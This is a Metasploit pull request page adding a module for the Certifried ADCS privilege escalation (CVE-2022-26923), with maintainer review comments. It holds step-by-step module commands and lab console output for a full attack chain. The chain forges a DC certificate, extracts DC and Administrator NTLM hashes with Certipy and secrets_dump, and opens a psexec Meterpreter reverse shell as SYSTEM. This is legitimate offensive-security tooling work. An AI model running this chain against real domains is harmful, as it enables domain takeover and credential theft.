metasploit-framework icon indicating copy to clipboard operation
metasploit-framework copied to clipboard

Add exploit module for Certifried exploit

Open cdelafuente-r7 opened this issue 2 years ago • 4 comments

This adds an auxiliary module that exploits a privilege escalation vulnerability in Active Directory Certificate Services (ADCS) known as Certifried (CVE-2022-26923) to generate a valid certificate impersonating the Domain Controller computer account. This certificate can be used along with Certipy or BloodyAD to get a TGT and access the DC as an Administrator. See this blog post for details.

The module will go through the following steps:

  1. Create a computer account
  2. Change the new computer's dNSHostName attribute to match that of the DC
  3. Request a certificate for this computer account and store it in the loot
  4. Delete the computer account

Most of the code from both auxiliary/admin/dcerpc/icpr_cert and auxiliary/admin/dcerpc/samr_computer modules has been reused for this module. To avoid code duplication, the logic has been moved to shared library files, which are now used by this modules and the two other modules:

  • lib/msf/core/exploit/remote/ms_adcs.rb
  • lib/msf/core/exploit/remote/samr_computer.rb

This closes #17065.

Verification

List the steps needed to make sure this thing works

  • [ ] Start msfconsole
  • [ ] use auxiliary/admin/dcerpc/cve_2022_26923_certifried
  • [ ] run rhosts=<remote host> SMBUser=<username> SMBPass=<user password> SMBDomain=<FQDN domain name> dc_name=<DC hostname> ca=<CA Name>
  • [ ] Verify the module executes all the steps listed above
  • [ ] Verify the certificate is retrieved and stored in the loot

Note that you need to be an administrator to delete the computer account. The module should notify if it fails due to a permission issue.

Installation

Follow the steps in this PR's Verification section to install ADCS on a Domain Controller.

Example output

The target is a Windows Server 2019 Domain Controller with ADCS installed.

Standard user
msf6 auxiliary(admin/dcerpc/cve_2022_26923_certifried) > run verbose=true rhosts=10.0.0.24 SMBUser=test SMBPass=123456 SMBDomain=mylab.local dc_name='DC02' ca=mylab-DC02-CA
[*] Running module against 10.0.0.24

[*] 10.0.0.24:445 - Requesting the ms-DS-MachineAccountQuota value to see if we can add any computer accounts...
[+] 10.0.0.24:445 - Successfully authenticated to LDAP (10.0.0.24:636)
[*] 10.0.0.24:445 - ms-DS-MachineAccountQuota = 10
[*] 10.0.0.24:445 - Connecting SMB with test.mylab.local:123456
[*] 10.0.0.24:445 - Connecting to Security Account Manager (SAM) Remote Protocol
[*] 10.0.0.24:445 - Binding to \samr...
[+] 10.0.0.24:445 - Bound to \samr
[+] 10.0.0.24:445 - Successfully created mylab.local\DESKTOP-0GUXZOAE$ with password jwei99cs1ZJipQcegi8n8TMbQIlsBVXg
[*] 10.0.0.24:445 - Disconnecting SMB
[+] 10.0.0.24:445 - Successfully authenticated to LDAP (10.0.0.24:636)
[*] 10.0.0.24:445 - Retrieved original DNSHostame dc02.mylab.local for DC02
[*] 10.0.0.24:445 - Attempting to set the DNS hostname for the computer DESKTOP-0GUXZOAE$ to the DNS hostname for the DC: DC02
[*] 10.0.0.24:445 - Retrieved original DNSHostame dc02.mylab.local for DESKTOP-0GUXZOAE$
[+] 10.0.0.24:445 - Successfully changed the DNS hostname
[*] 10.0.0.24:445 - Connecting SMB with DESKTOP-0GUXZOAE$.mylab.local:jwei99cs1ZJipQcegi8n8TMbQIlsBVXg
[*] 10.0.0.24:445 - Connecting to ICertPassage (ICPR) Remote Protocol
[*] 10.0.0.24:445 - Binding to \cert...
[+] 10.0.0.24:445 - Bound to \cert
[*] 10.0.0.24:445 - Requesting a certificate for user DESKTOP-0GUXZOAE$ - template: Machine
[+] 10.0.0.24:445 - The requested certificate was issued.
[*] 10.0.0.24:445 - Certificate stored at: /home/msfuser/.msf4/loot/20220927185732_default_unknown_windows.ad.cs_673960.pfx
[*] 10.0.0.24:445 - Disconnecting SMB
[*] 10.0.0.24:445 - Connecting SMB with test.mylab.local:123456
[*] 10.0.0.24:445 - Connecting to Security Account Manager (SAM) Remote Protocol
[*] 10.0.0.24:445 - Binding to \samr...
[+] 10.0.0.24:445 - Bound to \samr
[!] 10.0.0.24:445 - Unable to delete the computer account, this will have to be done manually with an Administrator account (Could not delete the computer DESKTOP-0GUXZOAE$: Error returned while deleting user in SAM server: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.)
[*] 10.0.0.24:445 - Disconnecting SMB
[*] Auxiliary module execution completed
Administrator
msf6 auxiliary(admin/dcerpc/cve_2022_26923_certifried) > run verbose=true rhosts=10.0.0.24 SMBUser=administrator SMBPass=123456 SMBDomain=mylab.local dc_name='DC02' ca=mylab-DC02-CA
[*] Running module against 10.0.0.24

[*] 10.0.0.24:445 - Requesting the ms-DS-MachineAccountQuota value to see if we can add any computer accounts...
[+] 10.0.0.24:445 - Successfully authenticated to LDAP (10.0.0.24:636)
[*] 10.0.0.24:445 - ms-DS-MachineAccountQuota = 10
[*] 10.0.0.24:445 - Connecting SMB with administrator.mylab.local:123456
[*] 10.0.0.24:445 - Connecting to Security Account Manager (SAM) Remote Protocol
[*] 10.0.0.24:445 - Binding to \samr...
[+] 10.0.0.24:445 - Bound to \samr
[+] 10.0.0.24:445 - Successfully created mylab.local\DESKTOP-X3YZ1VOY$ with password XeqHv6XxVCwu2fv0kgx9ekEglkHGFVDG
[*] 10.0.0.24:445 - Disconnecting SMB
[+] 10.0.0.24:445 - Successfully authenticated to LDAP (10.0.0.24:636)
[*] 10.0.0.24:445 - Retrieved original DNSHostame dc02.mylab.local for DC02
[*] 10.0.0.24:445 - Attempting to set the DNS hostname for the computer DESKTOP-X3YZ1VOY$ to the DNS hostname for the DC: DC02
[*] 10.0.0.24:445 - Retrieved original DNSHostame dc02.mylab.local for DESKTOP-X3YZ1VOY$
[+] 10.0.0.24:445 - Successfully changed the DNS hostname
[*] 10.0.0.24:445 - Connecting SMB with DESKTOP-X3YZ1VOY$.mylab.local:XeqHv6XxVCwu2fv0kgx9ekEglkHGFVDG
[*] 10.0.0.24:445 - Connecting to ICertPassage (ICPR) Remote Protocol
[*] 10.0.0.24:445 - Binding to \cert...
[+] 10.0.0.24:445 - Bound to \cert
[*] 10.0.0.24:445 - Requesting a certificate for user DESKTOP-X3YZ1VOY$ - template: Machine
[+] 10.0.0.24:445 - The requested certificate was issued.
[*] 10.0.0.24:445 - Certificate stored at: /home/msfuser/.msf4/loot/20220927185829_default_unknown_windows.ad.cs_613681.pfx
[*] 10.0.0.24:445 - Disconnecting SMB
[*] 10.0.0.24:445 - Connecting SMB with administrator.mylab.local:123456
[*] 10.0.0.24:445 - Connecting to Security Account Manager (SAM) Remote Protocol
[*] 10.0.0.24:445 - Binding to \samr...
[+] 10.0.0.24:445 - Bound to \samr
[+] 10.0.0.24:445 - The specified computer has been deleted.
[*] 10.0.0.24:445 - Disconnecting SMB
[*] Auxiliary module execution completed
Make sure `admin/dcerpc/icpr_cert` still works
msf6 auxiliary(admin/dcerpc/icpr_cert) > run verbose=true rhosts=10.0.0.24 SMBUser=test SMBPass=123456 SMBDomain=mylab.local ca=mylab-DC02-CA
[*] Running module against 10.0.0.24

[*] 10.0.0.24:445 - Connecting to ICertPassage (ICPR) Remote Protocol
[*] 10.0.0.24:445 - Binding to \cert...
[+] 10.0.0.24:445 - Bound to \cert
[*] 10.0.0.24:445 - Requesting a certificate for user test - template: User
[+] 10.0.0.24:445 - The requested certificate was issued.
[*] 10.0.0.24:445 - Certificate UPN: [email protected]
[*] 10.0.0.24:445 - Certificate stored at: /home/msfuser/.msf4/loot/20220927185931_default_unknown_windows.ad.cs_226772.pfx
[*] Auxiliary module execution completed

msf6 auxiliary(admin/dcerpc/icpr_cert) > run verbose=true rhosts=10.0.0.24 SMBUser=test SMBPass=123456 SMBDomain=mylab.local ca=mylab-DC02-CA CERT_TEMPLATE=ESC1-Test ALT_DNS=dc01.mylab.local [email protected]
[*] Running module against 10.0.0.24

[*] 10.0.0.24:445 - Connecting to ICertPassage (ICPR) Remote Protocol
[*] 10.0.0.24:445 - Binding to \cert...
[+] 10.0.0.24:445 - Bound to \cert
[*] 10.0.0.24:445 - Requesting a certificate for user test - alternate DNS: dc01.mylab.local - alternate UPN: [email protected] - template: ESC1-Test
[+] 10.0.0.24:445 - The requested certificate was issued.
[*] 10.0.0.24:445 - Certificate UPN: [email protected]
[*] 10.0.0.24:445 - Certificate stored at: /home/msfuser/.msf4/loot/20220927194048_default_unknown_windows.ad.cs_617548.pfx
[*] Auxiliary module execution completed
Make sure `admin/dcerpc/samr_computer` still works
msf6 auxiliary(admin/dcerpc/samr_computer) > run verbose=true rhosts=10.0.0.24 SMBUser=administrator SMBPass=123456 SMBDomain=mylab.local
[*] Running module against 10.0.0.24

[*] 10.0.0.24:445 - Connecting to Security Account Manager (SAM) Remote Protocol
[*] 10.0.0.24:445 - Binding to \samr...
[+] 10.0.0.24:445 - Bound to \samr
[+] 10.0.0.24:445 - Successfully created mylab.local\DESKTOP-IMRJVHDY$ with password ZHFmbbhdEmDw4XZyLCOa5knukIDBQObD
[*] Auxiliary module execution completed
msf6 auxiliary(admin/dcerpc/samr_computer) > set action LOOKUP_COMPUTER
action => LOOKUP_COMPUTER
msf6 auxiliary(admin/dcerpc/samr_computer) > run verbose=true rhosts=10.0.0.24 SMBUser=administrator SMBPass=123456 SMBDomain=mylab.local COMPUTER_NAME=DESKTOP-IMRJVHDY$
[*] Running module against 10.0.0.24

[*] 10.0.0.24:445 - Connecting to Security Account Manager (SAM) Remote Protocol
[*] 10.0.0.24:445 - Binding to \samr...
[+] 10.0.0.24:445 - Bound to \samr
[+] 10.0.0.24:445 - Found mylab.local\DESKTOP-IMRJVHDY$ (SID: S-1-5-21-419547006-9459028-4093171872-11675)
[*] Auxiliary module execution completed
msf6 auxiliary(admin/dcerpc/samr_computer) > set action DELETE_COMPUTER
action => DELETE_COMPUTER
msf6 auxiliary(admin/dcerpc/samr_computer) > run verbose=true rhosts=10.0.0.24 SMBUser=administrator SMBPass=123456 SMBDomain=mylab.local COMPUTER_NAME=DESKTOP-IMRJVHDY$
[*] Running module against 10.0.0.24

[*] 10.0.0.24:445 - Connecting to Security Account Manager (SAM) Remote Protocol
[*] 10.0.0.24:445 - Binding to \samr...
[+] 10.0.0.24:445 - Bound to \samr
[+] 10.0.0.24:445 - The specified computer has been deleted.
[*] Auxiliary module execution completed
msf6 auxiliary(admin/dcerpc/samr_computer) > set action LOOKUP_COMPUTER
action => LOOKUP_COMPUTER
msf6 auxiliary(admin/dcerpc/samr_computer) > run verbose=true rhosts=10.0.0.24 SMBUser=administrator SMBPass=123456 SMBDomain=mylab.local COMPUTER_NAME=DESKTOP-IMRJVHDY$
[*] Running module against 10.0.0.24

[*] 10.0.0.24:445 - Connecting to Security Account Manager (SAM) Remote Protocol
[*] 10.0.0.24:445 - Binding to \samr...
[+] 10.0.0.24:445 - Bound to \samr
[-] 10.0.0.24:445 - Auxiliary aborted due to failure: bad-config: The specified computer was not found.
[*] Auxiliary module execution completed

Testing the certificate

Use Certipy to ask for a TGT and retrieve the NT hash
❯ PYTHONPATH=. python3 certipy/entry.py auth -pfx /home/msfuser/.msf4/loot/20220927185732_default_unknown_windows.ad.cs_673960.pfx -dc-ip 10.0.0.24
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Using principal: [email protected]
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'dc02.ccache'
[*] Trying to retrieve NT hash for 'dc02$'
[*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:<redacted>
Use `auxiliary/gather/windows_secrets_dump` nodule to dump the Administrator NT hash
msf6 auxiliary(gather/windows_secrets_dump) > set ACTION DOMAIN
ACTION => DOMAIN
msf6 auxiliary(gather/windows_secrets_dump) > run verbose=true rhosts=10.0.0.24 SMBUser=DC02$ SMBPass=aad3b435b51404eeaad3b435b51404ee:<redacted> SMBDomain=mylab.local
[*] Running module against 10.0.0.24

[*] 10.0.0.24:445 - Opening Service Control Manager
[*] 10.0.0.24:445 - Binding to \svcctl...
[+] 10.0.0.24:445 - Bound to \svcctl
...
# NTLM hashes:
MYLAB\Administrator:500:aad3b435b51404eeaad3b435b51404ee:<redacted>:::
...
Use the `exploit/windows/smb/psexec` module with the Administrator hash
msf6 exploit(windows/smb/psexec) > run verbose=true rhosts=10.0.0.24 SMBUser=Administrator SMBPass=aad3b435b51404eeaad3b435b51404ee:<redacted> SMBDomain=mylab.local

[*] Started reverse TCP handler on 10.0.0.1:4444
[*] 10.0.0.24:445 - Connecting to the server...
[*] 10.0.0.24:445 - Authenticating to 10.0.0.24:445|mylab.local as user 'Administrator'...
[*] 10.0.0.24:445 - Checking for System32\WindowsPowerShell\v1.0\powershell.exe
[*] 10.0.0.24:445 - PowerShell found
[*] 10.0.0.24:445 - Selecting PowerShell target
[*] 10.0.0.24:445 - Powershell command length: 4340
[*] 10.0.0.24:445 - Executing the payload...
[*] 10.0.0.24:445 - Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:10.0.0.24[\svcctl] ...
[*] 10.0.0.24:445 - Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:10.0.0.24[\svcctl] ...
[*] 10.0.0.24:445 - Obtaining a service manager handle...
[*] 10.0.0.24:445 - Creating the service...
[+] 10.0.0.24:445 - Successfully created the service
[*] 10.0.0.24:445 - Starting the service...
[+] 10.0.0.24:445 - Service start timed out, OK if running a command or non-service executable...
[*] 10.0.0.24:445 - Removing the service...
[+] 10.0.0.24:445 - Successfully removed the service
[*] 10.0.0.24:445 - Closing service handle...
[*] Sending stage (175686 bytes) to 10.0.0.1
[*] Meterpreter session 1 opened (10.0.0.1:4444 -> 10.0.0.1:58736) at 2022-09-27 21:26:10 +0200

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : DC02
OS              : Windows 2016+ (10.0 Build 17763).
Architecture    : x64
System Language : en_US
Domain          : MYLAB
Logged On Users : 7
Meterpreter     : x86/windows

cdelafuente-r7 avatar Sep 27 '22 18:09 cdelafuente-r7

Thanks for your pull request! Before this can be merged, we need the following documentation for your module:

github-actions[bot] avatar Sep 27 '22 18:09 github-actions[bot]

If we're going to name the new modules after the MS- standards then MsAdcs should be MsIcpr and SamrComputer should be MsSamr.

smcintyre-r7 avatar Sep 29 '22 15:09 smcintyre-r7

Thanks @smcintyre-r7 for the review. I think I've addressed all the issues in d08808e. As I mentioned in this comment, more changes will be required when the feature-kerberos-authentication is merged.

cdelafuente-r7 avatar Sep 30 '22 10:09 cdelafuente-r7

Thanks @space-r7 for the review and testing! I'm going to work on the missing piece (retrieve the TGT and the NT hash). So, I'll change the destination branch to the feature-kerberos-authentication branch and set the PR to draft for now. I'll make the changes you suggested once it is rebased.

cdelafuente-r7 avatar Oct 07 '22 17:10 cdelafuente-r7

@msjenkins-r7 test this please

cdelafuente-r7 avatar Nov 29 '22 16:11 cdelafuente-r7

I'm wondering if it's possible to write a check method for this? 👀

adfoster-r7 avatar Dec 01 '22 21:12 adfoster-r7

Thanks @space-r7 for your review! I moved it back to draft since I will add a last thing to be able to impersonate the administrator account. This PR will need to be landed first to be able to use the new S4U2Self method. I'm sorry about all these back-and-forth between draft and undraft.

cdelafuente-r7 avatar Dec 02 '22 16:12 cdelafuente-r7

@adfoster-r7, I think a check method would be to try to set the DNS hostname for the computer account that has just been created to another DNS hostname. This is what Microsoft fixed. That means, we will have to create a computer account first, and it is already a good step in the exploitation of this vulnerability. Also, it is not possible to delete the computer account with a non-privileged user, which is likely to be the case since it is a privesc exploit. If the check method fails to set the DNS hostname because it is patched, the fake computer account will remain.

That said, if all of this is not a problem, I'll be happy to move this part of the code to a check method.

cdelafuente-r7 avatar Dec 02 '22 17:12 cdelafuente-r7

@cdelafuente-r7 Looks like this PR needs a rebase :+1:

adfoster-r7 avatar Jan 11 '23 02:01 adfoster-r7

Release Notes

This adds an auxiliary module that exploits a privilege escalation vulnerability in Active Directory Certificate Services (ADCS) known as Certifried to generate a valid certificate impersonating the Domain Controller (DC) computer account. This certificate is then used to authenticate to the target as the DC account using PKINIT preauthentication mechanism. The module will get and cache the Ticket-Granting-Ticket (TGT) for this account along with its NTLM hash. Finally, it requests a TGS impersonating a privileged user (Administrator by default). This TGS can then be used by other modules or external tools.

adfoster-r7 avatar Apr 05 '23 17:04 adfoster-r7